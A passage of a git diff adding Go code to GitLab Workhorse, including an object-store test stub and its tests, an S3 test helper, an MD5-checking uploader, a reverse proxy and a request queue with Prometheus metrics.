+
+ exists, err := bucket.Exists(ctx, objectName)
+ require.NoError(t, err)
+ require.True(t, exists)
+}
diff --git a/workhorse/internal/objectstore/test/objectstore_stub.go b/workhorse/internal/objectstore/test/objectstore_stub.go
new file mode 100644
index 00000000000..31ef4913305
--- /dev/null
+++ b/workhorse/internal/objectstore/test/objectstore_stub.go
@@ -0,0 +1,278 @@
+package test
+
+import (
+ "crypto/md5"
+ "encoding/hex"
+ "encoding/xml"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "strconv"
+ "strings"
+ "sync"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+)
+
+type partsEtagMap map[int]string
+
+// ObjectstoreStub is a testing implementation of ObjectStore.
+// Instead of storing objects it will just save md5sum.
+type ObjectstoreStub struct {
+ // bucket contains md5sum of uploaded objects
+ bucket map[string]string
+ // overwriteMD5 contains overwrites for md5sum that should be return instead of the regular hash
+ overwriteMD5 map[string]string
+ // multipart is a map of MultipartUploads
+ multipart map[string]partsEtagMap
+ // HTTP header sent along request
+ headers map[string]*http.Header
+
+ puts int
+ deletes int
+
+ m sync.Mutex
+}
+
+// StartObjectStore will start an ObjectStore stub
+func StartObjectStore() (*ObjectstoreStub, *httptest.Server) {
+ return StartObjectStoreWithCustomMD5(make(map[string]string))
+}
+
+// StartObjectStoreWithCustomMD5 will start an ObjectStore stub: md5Hashes contains overwrites for md5sum that should be return on PutObject
+func StartObjectStoreWithCustomMD5(md5Hashes map[string]string) (*ObjectstoreStub, *httptest.Server) {
+ os := &ObjectstoreStub{
+ bucket: make(map[string]string),
+ multipart: make(map[string]partsEtagMap),
+ overwriteMD5: make(map[string]string),
+ headers: make(map[string]*http.Header),
+ }
+
+ for k, v := range md5Hashes {
+ os.overwriteMD5[k] = v
+ }
+
+ return os, httptest.NewServer(os)
+}
+
+// PutsCnt counts PutObject invocations
+func (o *ObjectstoreStub) PutsCnt() int {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ return o.puts
+}
+
+// DeletesCnt counts DeleteObject invocation of a valid object
+func (o *ObjectstoreStub) DeletesCnt() int {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ return o.deletes
+}
+
+// GetObjectMD5 return the calculated MD5 of the object uploaded to path
+// it will return an empty string if no object has been uploaded on such path
+func (o *ObjectstoreStub) GetObjectMD5(path string) string {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ return o.bucket[path]
+}
+
+// GetHeader returns a given HTTP header of the object uploaded to the path
+func (o *ObjectstoreStub) GetHeader(path, key string) string {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ if val, ok := o.headers[path]; ok {
+ return val.Get(key)
+ }
+
+ return ""
+}
+
+// InitiateMultipartUpload prepare the ObjectstoreStob to receive a MultipartUpload on path
+// It will return an error if a MultipartUpload is already in progress on that path
+// InitiateMultipartUpload is only used during test setup.
+// Workhorse's production code does not know how to initiate a multipart upload.
+//
+// Real S3 multipart uploads are more complicated than what we do here,
+// but this is enough to verify that workhorse's production code behaves as intended.
+func (o *ObjectstoreStub) InitiateMultipartUpload(path string) error {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ if o.multipart[path] != nil {
+ return fmt.Errorf("MultipartUpload for %q already in progress", path)
+ }
+
+ o.multipart[path] = make(partsEtagMap)
+ return nil
+}
+
+// IsMultipartUpload check if the given path has a MultipartUpload in progress
+func (o *ObjectstoreStub) IsMultipartUpload(path string) bool {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ return o.isMultipartUpload(path)
+}
+
+// isMultipartUpload is the lock free version of IsMultipartUpload
+func (o *ObjectstoreStub) isMultipartUpload(path string) bool {
+ return o.multipart[path] != nil
+}
+
+func (o *ObjectstoreStub) removeObject(w http.ResponseWriter, r *http.Request) {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ objectPath := r.URL.Path
+ if o.isMultipartUpload(objectPath) {
+ o.deletes++
+ delete(o.multipart, objectPath)
+
+ w.WriteHeader(200)
+ } else if _, ok := o.bucket[objectPath]; ok {
+ o.deletes++
+ delete(o.bucket, objectPath)
+
+ w.WriteHeader(200)
+ } else {
+ w.WriteHeader(404)
+ }
+}
+
+func (o *ObjectstoreStub) putObject(w http.ResponseWriter, r *http.Request) {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ objectPath := r.URL.Path
+
+ etag, overwritten := o.overwriteMD5[objectPath]
+ if !overwritten {
+ hasher := md5.New()
+ io.Copy(hasher, r.Body)
+
+ checksum := hasher.Sum(nil)
+ etag = hex.EncodeToString(checksum)
+ }
+
+ o.headers[objectPath] = &r.Header
+ o.puts++
+ if o.isMultipartUpload(objectPath) {
+ pNumber := r.URL.Query().Get("partNumber")
+ idx, err := strconv.Atoi(pNumber)
+ if err != nil {
+ http.Error(w, fmt.Sprintf("malformed partNumber: %v", err), 400)
+ return
+ }
+
+ o.multipart[objectPath][idx] = etag
+ } else {
+ o.bucket[objectPath] = etag
+ }
+
+ w.Header().Set("ETag", etag)
+ w.WriteHeader(200)
+}
+
+func MultipartUploadInternalError() *objectstore.CompleteMultipartUploadError {
+ return &objectstore.CompleteMultipartUploadError{Code: "InternalError", Message: "malformed object path"}
+}
+
+func (o *ObjectstoreStub) completeMultipartUpload(w http.ResponseWriter, r *http.Request) {
+ o.m.Lock()
+ defer o.m.Unlock()
+
+ objectPath := r.URL.Path
+
+ multipart := o.multipart[objectPath]
+ if multipart == nil {
+ http.Error(w, "Unknown MultipartUpload", 404)
+ return
+ }
+
+ buf, err := ioutil.ReadAll(r.Body)
+ if err != nil {
+ http.Error(w, err.Error(), 500)
+ return
+ }
+
+ var msg objectstore.CompleteMultipartUpload
+ err = xml.Unmarshal(buf, &msg)
+ if err != nil {
+ http.Error(w, err.Error(), 400)
+ return
+ }
+
+ for _, part := range msg.Part {
+ etag := multipart[part.PartNumber]
+ if etag != part.ETag {
+ msg := fmt.Sprintf("ETag mismatch on part %d. Expected %q got %q", part.PartNumber, etag, part.ETag)
+ http.Error(w, msg, 400)
+ return
+ }
+ }
+
+ etag, overwritten := o.overwriteMD5[objectPath]
+ if !overwritten {
+ etag = "CompleteMultipartUploadETag"
+ }
+
+ o.bucket[objectPath] = etag
+ delete(o.multipart, objectPath)
+
+ w.Header().Set("ETag", etag)
+ split := strings.SplitN(objectPath[1:], "/", 2)
+ if len(split) < 2 {
+ encodeXMLAnswer(w, MultipartUploadInternalError())
+ return
+ }
+
+ bucket := split[0]
+ key := split[1]
+ answer := objectstore.CompleteMultipartUploadResult{
+ Location: r.URL.String(),
+ Bucket: bucket,
+ Key: key,
+ ETag: etag,
+ }
+ encodeXMLAnswer(w, answer)
+}
+
+func encodeXMLAnswer(w http.ResponseWriter, answer interface{}) {
+ w.Header().Set("Content-Type", "text/xml")
+
+ enc := xml.NewEncoder(w)
+ if err := enc.Encode(answer); err != nil {
+ http.Error(w, err.Error(), 500)
+ }
+}
+
+func (o *ObjectstoreStub) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+ if r.Body != nil {
+ defer r.Body.Close()
+ }
+
+ fmt.Println("ObjectStore Stub:", r.Method, r.URL.String())
+
+ if r.URL.Path == "" {
+ http.Error(w, "No path provided", 404)
+ return
+ }
+
+ switch r.Method {
+ case "DELETE":
+ o.removeObject(w, r)
+ case "PUT":
+ o.putObject(w, r)
+ case "POST":
+ o.completeMultipartUpload(w, r)
+ default:
+ w.WriteHeader(404)
+ }
+}
diff --git a/workhorse/internal/objectstore/test/objectstore_stub_test.go b/workhorse/internal/objectstore/test/objectstore_stub_test.go
new file mode 100644
index 00000000000..8c0d52a2d79
--- /dev/null
+++ b/workhorse/internal/objectstore/test/objectstore_stub_test.go
@@ -0,0 +1,167 @@
+package test
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func doRequest(method, url string, body io.Reader) error {
+ req, err := http.NewRequest(method, url, body)
+ if err != nil {
+ return err
+ }
+
+ resp, err := http.DefaultClient.Do(req)
+ if err != nil {
+ return err
+ }
+
+ return resp.Body.Close()
+}
+
+func TestObjectStoreStub(t *testing.T) {
+ stub, ts := StartObjectStore()
+ defer ts.Close()
+
+ require.Equal(t, 0, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+
+ objectURL := ts.URL + ObjectPath
+
+ require.NoError(t, doRequest(http.MethodPut, objectURL, strings.NewReader(ObjectContent)))
+
+ require.Equal(t, 1, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+ require.Equal(t, ObjectMD5, stub.GetObjectMD5(ObjectPath))
+
+ require.NoError(t, doRequest(http.MethodDelete, objectURL, nil))
+
+ require.Equal(t, 1, stub.PutsCnt())
+ require.Equal(t, 1, stub.DeletesCnt())
+}
+
+func TestObjectStoreStubDelete404(t *testing.T) {
+ stub, ts := StartObjectStore()
+ defer ts.Close()
+
+ objectURL := ts.URL + ObjectPath
+
+ req, err := http.NewRequest(http.MethodDelete, objectURL, nil)
+ require.NoError(t, err)
+
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ defer resp.Body.Close()
+ require.Equal(t, 404, resp.StatusCode)
+
+ require.Equal(t, 0, stub.DeletesCnt())
+}
+
+func TestObjectStoreInitiateMultipartUpload(t *testing.T) {
+ stub, ts := StartObjectStore()
+ defer ts.Close()
+
+ path := "/my-multipart"
+ err := stub.InitiateMultipartUpload(path)
+ require.NoError(t, err)
+
+ err = stub.InitiateMultipartUpload(path)
+ require.Error(t, err, "second attempt to open the same MultipartUpload")
+}
+
+func TestObjectStoreCompleteMultipartUpload(t *testing.T) {
+ stub, ts := StartObjectStore()
+ defer ts.Close()
+
+ objectURL := ts.URL + ObjectPath
+ parts := []struct {
+ number int
+ content string
+ contentMD5 string
+ }{
+ {
+ number: 1,
+ content: "first part",
+ contentMD5: "550cf6b6e60f65a0e3104a26e70fea42",
+ }, {
+ number: 2,
+ content: "second part",
+ contentMD5: "920b914bca0a70780b40881b8f376135",
+ },
+ }
+
+ stub.InitiateMultipartUpload(ObjectPath)
+
+ require.True(t, stub.IsMultipartUpload(ObjectPath))
+ require.Equal(t, 0, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+
+ // Workhorse knows nothing about S3 MultipartUpload, it receives some URLs
+ // from GitLab-rails and PUTs chunk of data to each of them.
+ // Then it completes the upload with a final POST
+ partPutURLs := []string{
+ fmt.Sprintf("%s?partNumber=%d", objectURL, 1),
+ fmt.Sprintf("%s?partNumber=%d", objectURL, 2),
+ }
+ completePostURL := objectURL
+
+ for i, partPutURL := range partPutURLs {
+ part := parts[i]
+
+ require.NoError(t, doRequest(http.MethodPut, partPutURL, strings.NewReader(part.content)))
+
+ require.Equal(t, i+1, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+ require.Equal(t, part.contentMD5, stub.multipart[ObjectPath][part.number], "Part %d was not uploaded into ObjectStorage", part.number)
+ require.Empty(t, stub.GetObjectMD5(ObjectPath), "Part %d was mistakenly uploaded as a single object", part.number)
+ require.True(t, stub.IsMultipartUpload(ObjectPath), "MultipartUpload completed or aborted")
+ }
+
+ completeBody := fmt.Sprintf(`<CompleteMultipartUpload>
+ <Part>
+ <PartNumber>1</PartNumber>
+ <ETag>%s</ETag>
+ </Part>
+ <Part>
+ <PartNumber>2</PartNumber>
+ <ETag>%s</ETag>
+ </Part>
+ </CompleteMultipartUpload>`, parts[0].contentMD5, parts[1].contentMD5)
+ require.NoError(t, doRequest(http.MethodPost, completePostURL, strings.NewReader(completeBody)))
+
+ require.Equal(t, len(parts), stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+ require.False(t, stub.IsMultipartUpload(ObjectPath), "MultipartUpload is still in progress")
+}
+
+func TestObjectStoreAbortMultipartUpload(t *testing.T) {
+ stub, ts := StartObjectStore()
+ defer ts.Close()
+
+ stub.InitiateMultipartUpload(ObjectPath)
+
+ require.True(t, stub.IsMultipartUpload(ObjectPath))
+ require.Equal(t, 0, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+
+ objectURL := ts.URL + ObjectPath
+ require.NoError(t, doRequest(http.MethodPut, fmt.Sprintf("%s?partNumber=%d", objectURL, 1), strings.NewReader(ObjectContent)))
+
+ require.Equal(t, 1, stub.PutsCnt())
+ require.Equal(t, 0, stub.DeletesCnt())
+ require.Equal(t, ObjectMD5, stub.multipart[ObjectPath][1], "Part was not uploaded into ObjectStorage")
+ require.Empty(t, stub.GetObjectMD5(ObjectPath), "Part was mistakenly uploaded as a single object")
+ require.True(t, stub.IsMultipartUpload(ObjectPath), "MultipartUpload completed or aborted")
+
+ require.NoError(t, doRequest(http.MethodDelete, objectURL, nil))
+
+ require.Equal(t, 1, stub.PutsCnt())
+ require.Equal(t, 1, stub.DeletesCnt())
+ require.Empty(t, stub.GetObjectMD5(ObjectPath), "MultiUpload has been completed")
+ require.False(t, stub.IsMultipartUpload(ObjectPath), "MultiUpload is still in progress")
+}
diff --git a/workhorse/internal/objectstore/test/s3_stub.go b/workhorse/internal/objectstore/test/s3_stub.go
new file mode 100644
index 00000000000..36514b3b887
--- /dev/null
+++ b/workhorse/internal/objectstore/test/s3_stub.go
@@ -0,0 +1,142 @@
+package test
+
+import (
+ "io/ioutil"
+ "net/http/httptest"
+ "os"
+ "strings"
+ "testing"
+
+ "github.com/aws/aws-sdk-go/aws"
+ "github.com/aws/aws-sdk-go/aws/credentials"
+ "github.com/aws/aws-sdk-go/aws/session"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+
+ "github.com/aws/aws-sdk-go/service/s3"
+ "github.com/aws/aws-sdk-go/service/s3/s3manager"
+
+ "github.com/johannesboyne/gofakes3"
+ "github.com/johannesboyne/gofakes3/backend/s3mem"
+)
+
+func SetupS3(t *testing.T, encryption string) (config.S3Credentials, config.S3Config, *session.Session, *httptest.Server) {
+ return SetupS3WithBucket(t, "test-bucket", encryption)
+}
+
+func SetupS3WithBucket(t *testing.T, bucket string, encryption string) (config.S3Credentials, config.S3Config, *session.Session, *httptest.Server) {
+ backend := s3mem.New()
+ faker := gofakes3.New(backend)
+ ts := httptest.NewServer(faker.Server())
+
+ creds := config.S3Credentials{
+ AwsAccessKeyID: "YOUR-ACCESSKEYID",
+ AwsSecretAccessKey: "YOUR-SECRETACCESSKEY",
+ }
+
+ config := config.S3Config{
+ Bucket: bucket,
+ Endpoint: ts.URL,
+ Region: "eu-central-1",
+ PathStyle: true,
+ }
+
+ if encryption != "" {
+ config.ServerSideEncryption = encryption
+
+ if encryption == s3.ServerSideEncryptionAwsKms {
+ config.SSEKMSKeyID = "arn:aws:1234"
+ }
+ }
+
+ sess, err := session.NewSession(&aws.Config{
+ Credentials: credentials.NewStaticCredentials(creds.AwsAccessKeyID, creds.AwsSecretAccessKey, ""),
+ Endpoint: aws.String(ts.URL),
+ Region: aws.String(config.Region),
+ DisableSSL: aws.Bool(true),
+ S3ForcePathStyle: aws.Bool(true),
+ })
+ require.NoError(t, err)
+
+ // Create S3 service client
+ svc := s3.New(sess)
+
+ _, err = svc.CreateBucket(&s3.CreateBucketInput{
+ Bucket: aws.String(bucket),
+ })
+ require.NoError(t, err)
+
+ return creds, config, sess, ts
+}
+
+// S3ObjectExists will fail the test if the file does not exist.
+func S3ObjectExists(t *testing.T, sess *session.Session, config config.S3Config, objectName string, expectedBytes string) {
+ downloadObject(t, sess, config, objectName, func(tmpfile *os.File, numBytes int64, err error) {
+ require.NoError(t, err)
+ require.Equal(t, int64(len(expectedBytes)), numBytes)
+
+ output, err := ioutil.ReadFile(tmpfile.Name())
+ require.NoError(t, err)
+
+ require.Equal(t, []byte(expectedBytes), output)
+ })
+}
+
+func CheckS3Metadata(t *testing.T, sess *session.Session, config config.S3Config, objectName string) {
+ // In a real S3 provider, s3crypto.NewDecryptionClient should probably be used
+ svc := s3.New(sess)
+ result, err := svc.GetObject(&s3.GetObjectInput{
+ Bucket: aws.String(config.Bucket),
+ Key: aws.String(objectName),
+ })
+ require.NoError(t, err)
+
+ if config.ServerSideEncryption != "" {
+ require.Equal(t, aws.String(config.ServerSideEncryption), result.ServerSideEncryption)
+
+ if config.ServerSideEncryption == s3.ServerSideEncryptionAwsKms {
+ require.Equal(t, aws.String(config.SSEKMSKeyID), result.SSEKMSKeyId)
+ } else {
+ require.Nil(t, result.SSEKMSKeyId)
+ }
+ } else {
+ require.Nil(t, result.ServerSideEncryption)
+ require.Nil(t, result.SSEKMSKeyId)
+ }
+}
+
+// S3ObjectDoesNotExist returns true if the object has been deleted,
+// false otherwise. The return signature is different from
+// S3ObjectExists because deletion may need to be retried since deferred
+// clean up callsinternal/objectstore/test/s3_stub.go may cause the actual deletion to happen after the
+// initial check.
+func S3ObjectDoesNotExist(t *testing.T, sess *session.Session, config config.S3Config, objectName string) bool {
+ deleted := false
+
+ downloadObject(t, sess, config, objectName, func(tmpfile *os.File, numBytes int64, err error) {
+ if err != nil && strings.Contains(err.Error(), "NoSuchKey") {
+ deleted = true
+ }
+ })
+
+ return deleted
+}
+
+func downloadObject(t *testing.T, sess *session.Session, config config.S3Config, objectName string, handler func(tmpfile *os.File, numBytes int64, err error)) {
+ tmpDir, err := ioutil.TempDir("", "workhorse-test-")
+ require.NoError(t, err)
+ defer os.Remove(tmpDir)
+
+ tmpfile, err := ioutil.TempFile(tmpDir, "s3-output")
+ require.NoError(t, err)
+ defer os.Remove(tmpfile.Name())
+
+ downloadSvc := s3manager.NewDownloader(sess)
+ numBytes, err := downloadSvc.Download(tmpfile, &s3.GetObjectInput{
+ Bucket: aws.String(config.Bucket),
+ Key: aws.String(objectName),
+ })
+
+ handler(tmpfile, numBytes, err)
+}
diff --git a/workhorse/internal/objectstore/upload_strategy.go b/workhorse/internal/objectstore/upload_strategy.go
new file mode 100644
index 00000000000..5707ba5f24e
--- /dev/null
+++ b/workhorse/internal/objectstore/upload_strategy.go
@@ -0,0 +1,46 @@
+package objectstore
+
+import (
+ "context"
+ "io"
+ "net/http"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+)
+
+type uploadStrategy interface {
+ Upload(ctx context.Context, r io.Reader) error
+ ETag() string
+ Abort()
+ Delete()
+}
+
+func deleteURL(url string) {
+ if url == "" {
+ return
+ }
+
+ req, err := http.NewRequest("DELETE", url, nil)
+ if err != nil {
+ log.WithError(err).WithField("object", mask.URL(url)).Warning("Delete failed")
+ return
+ }
+ // TODO: consider adding the context to the outgoing request for better instrumentation
+
+ // here we are not using u.ctx because we must perform cleanup regardless of parent context
+ resp, err := httpClient.Do(req)
+ if err != nil {
+ log.WithError(err).WithField("object", mask.URL(url)).Warning("Delete failed")
+ return
+ }
+ resp.Body.Close()
+}
+
+func extractETag(rawETag string) string {
+ if rawETag != "" && rawETag[0] == '"' {
+ rawETag = rawETag[1 : len(rawETag)-1]
+ }
+
+ return rawETag
+}
diff --git a/workhorse/internal/objectstore/uploader.go b/workhorse/internal/objectstore/uploader.go
new file mode 100644
index 00000000000..aedfbe55ead
--- /dev/null
+++ b/workhorse/internal/objectstore/uploader.go
@@ -0,0 +1,115 @@
+package objectstore
+
+import (
+ "context"
+ "crypto/md5"
+ "encoding/hex"
+ "fmt"
+ "hash"
+ "io"
+ "strings"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+// uploader consumes an io.Reader and uploads it using a pluggable uploadStrategy.
+type uploader struct {
+ strategy uploadStrategy
+
+ // In the case of S3 uploads, we have a multipart upload which
+ // instantiates uploads for the individual parts. We don't want to
+ // increment metrics for the individual parts, so that is why we have
+ // this boolean flag.
+ metrics bool
+
+ // With S3 we compare the MD5 of the data we sent with the ETag returned
+ // by the object storage server.
+ checkETag bool
+}
+
+func newUploader(strategy uploadStrategy) *uploader {
+ return &uploader{strategy: strategy, metrics: true}
+}
+
+func newETagCheckUploader(strategy uploadStrategy, metrics bool) *uploader {
+ return &uploader{strategy: strategy, metrics: metrics, checkETag: true}
+}
+
+func hexString(h hash.Hash) string { return hex.EncodeToString(h.Sum(nil)) }
+
+// Consume reads the reader until it reaches EOF or an error. It spawns a
+// goroutine that waits for outerCtx to be done, after which the remote
+// file is deleted. The deadline applies to the upload performed inside
+// Consume, not to outerCtx.
+func (u *uploader) Consume(outerCtx context.Context, reader io.Reader, deadline time.Time) (_ int64, err error) {
+ if u.metrics {
+ objectStorageUploadsOpen.Inc()
+ defer func(started time.Time) {
+ objectStorageUploadsOpen.Dec()
+ objectStorageUploadTime.Observe(time.Since(started).Seconds())
+ if err != nil {
+ objectStorageUploadRequestsRequestFailed.Inc()
+ }
+ }(time.Now())
+ }
+
+ defer func() {
+ // We do this mainly to abort S3 multipart uploads: it is not enough to
+ // "delete" them.
+ if err != nil {
+ u.strategy.Abort()
+ }
+ }()
+
+ go func() {
+ // Once gitlab-rails is done handling the request, we are supposed to
+ // delete the upload from its temporary location.
+ <-outerCtx.Done()
+ u.strategy.Delete()
+ }()
+
+ uploadCtx, cancelFn := context.WithDeadline(outerCtx, deadline)
+ defer cancelFn()
+
+ var hasher hash.Hash
+ if u.checkETag {
+ hasher = md5.New()
+ reader = io.TeeReader(reader, hasher)
+ }
+
+ cr := &countReader{r: reader}
+ if err := u.strategy.Upload(uploadCtx, cr); err != nil {
+ return cr.n, err
+ }
+
+ if u.checkETag {
+ if err := compareMD5(hexString(hasher), u.strategy.ETag()); err != nil {
+ log.ContextLogger(uploadCtx).WithError(err).Error("error comparing MD5 checksum")
+ return cr.n, err
+ }
+ }
+
+ objectStorageUploadBytes.Add(float64(cr.n))
+
+ return cr.n, nil
+}
+
+func compareMD5(local, remote string) error {
+ if !strings.EqualFold(local, remote) {
+ return fmt.Errorf("ETag mismatch. expected %q got %q", local, remote)
+ }
+
+ return nil
+}
+
+type countReader struct {
+ r io.Reader
+ n int64
+}
+
+func (cr *countReader) Read(p []byte) (int, error) {
+ nRead, err := cr.r.Read(p)
+ cr.n += int64(nRead)
+ return nRead, err
+}
diff --git a/workhorse/internal/proxy/proxy.go b/workhorse/internal/proxy/proxy.go
new file mode 100644
index 00000000000..1bc417a841f
--- /dev/null
+++ b/workhorse/internal/proxy/proxy.go
@@ -0,0 +1,62 @@
+package proxy
+
+import (
+ "fmt"
+ "net/http"
+ "net/http/httputil"
+ "net/url"
+ "time"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ defaultTarget = helper.URLMustParse("http://localhost")
+)
+
+type Proxy struct {
+ Version string
+ reverseProxy *httputil.ReverseProxy
+ AllowResponseBuffering bool
+}
+
+func NewProxy(myURL *url.URL, version string, roundTripper http.RoundTripper) *Proxy {
+ p := Proxy{Version: version, AllowResponseBuffering: true}
+
+ if myURL == nil {
+ myURL = defaultTarget
+ }
+
+ u := *myURL // Make a copy of p.URL
+ u.Path = ""
+ p.reverseProxy = httputil.NewSingleHostReverseProxy(&u)
+ p.reverseProxy.Transport = roundTripper
+ return &p
+}
+
+func (p *Proxy) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+ // Clone request
+ req := *r
+ req.Header = helper.HeaderClone(r.Header)
+
+ // Set Workhorse version
+ req.Header.Set("Gitlab-Workhorse", p.Version)
+ req.Header.Set("Gitlab-Workhorse-Proxy-Start", fmt.Sprintf("%d", time.Now().UnixNano()))
+
+ if p.AllowResponseBuffering {
+ helper.AllowResponseBuffering(w)
+ }
+
+ // If the ultimate client disconnects when the response isn't fully written
+ // to them yet, httputil.ReverseProxy panics with a net/http.ErrAbortHandler
+ // error. We can catch and discard this to keep the error log clean
+ defer func() {
+ if err := recover(); err != nil {
+ if err != http.ErrAbortHandler {
+ panic(err)
+ }
+ }
+ }()
+
+ p.reverseProxy.ServeHTTP(w, &req)
+}
diff --git a/workhorse/internal/queueing/queue.go b/workhorse/internal/queueing/queue.go
new file mode 100644
index 00000000000..db082cf19c6
--- /dev/null
+++ b/workhorse/internal/queueing/queue.go
@@ -0,0 +1,201 @@
+package queueing
+
+import (
+ "errors"
+ "time"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+)
+
+type errTooManyRequests struct{ error }
+type errQueueingTimedout struct{ error }
+
+var ErrTooManyRequests = &errTooManyRequests{errors.New("too many requests queued")}
+var ErrQueueingTimedout = &errQueueingTimedout{errors.New("queueing timedout")}
+
+type queueMetrics struct {
+ queueingLimit prometheus.Gauge
+ queueingQueueLimit prometheus.Gauge
+ queueingQueueTimeout prometheus.Gauge
+ queueingBusy prometheus.Gauge
+ queueingWaiting prometheus.Gauge
+ queueingWaitingTime prometheus.Histogram
+ queueingErrors *prometheus.CounterVec
+}
+
+// newQueueMetrics prepares Prometheus metrics for queueing mechanism
+// name specifies name of the queue, used to label metrics with ConstLabel `queue_name`
+// Don't call newQueueMetrics twice with the same name argument!
+// timeout specifies the timeout of storing a request in queue - queueMetrics
+// uses it to calculate histogram buckets for gitlab_workhorse_queueing_waiting_time
+// metric
+func newQueueMetrics(name string, timeout time.Duration) *queueMetrics {
+ waitingTimeBuckets := []float64{
+ timeout.Seconds() * 0.01,
+ timeout.Seconds() * 0.05,
+ timeout.Seconds() * 0.10,
+ timeout.Seconds() * 0.25,
+ timeout.Seconds() * 0.50,
+ timeout.Seconds() * 0.75,
+ timeout.Seconds() * 0.90,
+ timeout.Seconds() * 0.95,
+ timeout.Seconds() * 0.99,
+ timeout.Seconds(),
+ }
+
+ metrics := &queueMetrics{
+ queueingLimit: promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_queueing_limit",
+ Help: "Current limit set for the queueing mechanism",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ }),
+
+ queueingQueueLimit: promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_queueing_queue_limit",
+ Help: "Current queueLimit set for the queueing mechanism",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ }),
+
+ queueingQueueTimeout: promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_queueing_queue_timeout",
+ Help: "Current queueTimeout set for the queueing mechanism",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ }),
+
+ queueingBusy: promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_queueing_busy",
+ Help: "How many queued requests are now processed",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ }),
+
+ queueingWaiting: promauto.NewGauge(prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_queueing_waiting",
+ Help: "How many requests are now queued",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ }),
+
+ queueingWaitingTime: promauto.NewHistogram(prometheus.HistogramOpts{
+ Name: "gitlab_workhorse_queueing_waiting_time",
+ Help: "How many time a request spent in queue",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ Buckets: waitingTimeBuckets,
+ }),
+
+ queueingErrors: promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_queueing_errors",
+ Help: "How many times the TooManyRequests or QueueintTimedout errors were returned while queueing, partitioned by error type",
+ ConstLabels: prometheus.Labels{
+ "queue_name": name,
+ },
+ },
+ []string{"type"},
+ ),
+ }
+
+ return metrics
+}
+
+type Queue struct {
+ *queueMetrics
+
+ name string
+ busyCh chan struct{}
+ waitingCh chan time.Time
+ timeout time.Duration
+}
+
+// newQueue creates a new queue
+// name specifies name used to label queue metrics.
+// Don't call newQueue twice with the same name argument!
+// limit specifies number of requests run concurrently
+// queueLimit specifies maximum number of requests that can be queued
+// timeout specifies the time limit of storing the request in the queue
+// if the number of requests is above the limit
+func newQueue(name string, limit, queueLimit uint, timeout time.Duration) *Queue {
+ queue := &Queue{
+ name: name,
+ busyCh: make(chan struct{}, limit),
+ waitingCh: make(chan time.Time, limit+queueLimit),
+ timeout: timeout,
+ }
+
+ queue.queueMetrics = newQueueMetrics(name, timeout)
+ queue.queueingLimit.Set(float64(limit))
+ queue.queueingQueueLimit.Set(float64(queueLimit))
+ queue.queueingQueueTimeout.Set(timeout.Seconds())
+
+ return queue
+}
+
+// Acquire takes one slot from the Queue
+// and returns when a request should be processed
+// it allows up to (limit) of requests running at a time
+// it allows to queue up to (queue-limit) requests
+func (s *Queue) Acquire() (err error) {
+ // push item to a queue to claim your own slot (non-blocking)
+ select {
+ case s.waitingCh <- time.Now():
+ s.queueingWaiting.Inc()
+ break
+ default:
+ s.queueingErrors.WithLabelValues("too_many_requests").Inc()
+ return ErrTooManyRequests
+ }
+
+ defer func() {
+ if err != nil {
+ waitStarted := <-s.waitingCh
+ s.queueingWaiting.Dec()
+ s.queueingWaitingTime.Observe(float64(time.Since(waitStarted).Seconds()))
+ }
+ }()
+
+ // fast path: push item to current processed items (non-blocking)
+ select {
+ case s.busyCh <- struct{}{}:
+ s.queueingBusy.Inc()
+ return nil
+ default:
+ break
+ }
+
+ timer := time.NewTimer(s.timeout)
+ defer timer.Stop()
+
+ // push item to current processed items (blocking)
+ select {
+ case s.busyCh <- struct{}{}:
+ s.queueingBusy.Inc()
+ return nil
+
+ case <-timer.C:
+ s.queueingErrors.WithLabelValues("queueing_timedout").Inc()
+ return ErrQueueingTimedout
+ }
+}
+
+// Release marks the finish of processing of requests
+// It triggers next request to be processed if it's in queue
+func (s *Queue) Release() {
+ // dequeue from queue to allow next request to be processed
+ waitStarted := <-s.waitingCh
+ s.queueingWaiting.Dec()
+ s.queueingWaitingTime.Observe(float64(time.Since(waitStarted).Seconds()))
+
+ <-s.busyCh
